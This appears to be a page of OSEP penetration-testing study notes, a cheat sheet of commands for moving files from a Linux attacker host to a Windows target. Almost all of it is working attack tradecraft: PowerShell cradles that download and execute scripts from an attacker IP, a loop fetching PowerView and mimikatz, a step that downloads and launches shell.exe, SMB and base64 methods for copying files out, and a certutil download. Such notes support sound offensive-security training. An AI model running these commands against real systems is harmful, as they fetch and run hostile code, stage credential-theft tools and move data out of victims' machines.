> For the complete documentation index, see [llms.txt](https://steffinstanly.gitbook.io/osep-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://steffinstanly.gitbook.io/osep-notes/osep/file-transfer-and-execution.md).

# File Transfer & Execution

## Linux to Windows&#x20;

### Bulk File Transfer

```
iex(iwr -uri 192.168.1.2/bulk.ps1 -usebasicparsing)
```

```
$baseUrl = "http://192.168.1.2/"
$fileNames = @("PowerUp.ps1", "PowerView.ps1", "mimikatz.exe")
$downloadPath = "C:\Windows\Tasks"

foreach ($fileName in $fileNames) {
    $url = $baseUrl + $fileName
    $filePath = Join-Path $downloadPath $fileName
    Invoke-WebRequest -Uri $url -OutFile $filePath
    Write-Host "Downloaded $fileName to $filePath"
}
```

### SMB

```
net use \\192.168.x.y /user:root password

copy test.zip  \\192.168.x.y\visualstudio
```

### Base64

```
[Convert]::ToBase64String((Get-Content -path "C:\Users\Administrator\Desktop\ilfreight_bloodhound.zip" -Encoding byte))

base64 -d test.txt  > ilfreight_bloodhound.zip
```

### Powershell Basic Download

```
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://192.168.1.2/PowerView.ps1','C:\Windows\Tasks\PowerView.ps1')"
```

### Powershell Execute Directly

```
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2/PowerView.ps1');
```

### Download and execute a shell in another process

```
iwr -uri http://192.168.1.2/shell.exe -OutFile shell.exe

Start-Process -NoNewWindow -FilePath C:\Windows\Tasks\shell.exe
```

### Download Files

```
certutil -urlcache -split -f "http://ip-addr:port/file" [output-file]
```
